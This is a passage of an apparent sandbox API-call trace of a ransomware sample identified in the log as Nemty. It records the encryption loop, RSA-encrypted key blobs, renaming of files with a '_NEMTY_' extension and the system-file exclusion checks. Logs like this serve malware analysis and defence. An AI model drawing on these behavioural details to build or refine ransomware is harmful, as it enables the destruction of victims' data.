dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.067] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0126.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.190] CloseHandle (hObject=0xffffffff) returned 0 [0126.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0126.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html._nemty_kgobjgd_")) returned 0 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.190] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0126.190] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0126.190] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0126.190] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0126.190] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0126.190] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0126.191] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0126.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0126.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0126.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0126.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0126.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0126.191] Sleep (dwMilliseconds=0x5) [0126.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfede7870, dwHighDateTime=0x1d561e7)) [0126.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfede7870, dwHighDateTime=0x1d561e7)) [0126.202] GetLastError () returned 0x5 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.202] GetLastError () returned 0x5 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.202] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0126.202] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0126.202] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0126.202] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="ivMcWCSDLAkm+JyjbnTee14IrSEc8M9xni3zdfzQqShbUUoeFUhLNR/Timc1veoH\r\nsftDv8BHHpGTTwQQ8eLLte2P8r/tI6XgE+iiWuxQ9n7OpycJXmZnBtjwUL98RKI8\r\nVPPx7HJBYsELf0i5x1xK/niHnIOqVLk3LAOdwfosVcPu+w1QSGlNKZdVmisPhajd\r\ncepU/7AijsL+qaPp4IvaJv/O8P9TnE/H2SQuKKsJOl4MZ17TY7W2fVY8XldQKZRs\r\nalpBu0YuRCXq+zgMVBTA5XKppS/cBGEoxDU0a31/pfm4YJmbqYlalY7O0AXJc6+B\r\n+THvQWWmb+aug7VjkaAGcA==\r\n", pcchString=0x653e91c) returned 1 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0126.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.202] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.203] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0126.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0126.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0126.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 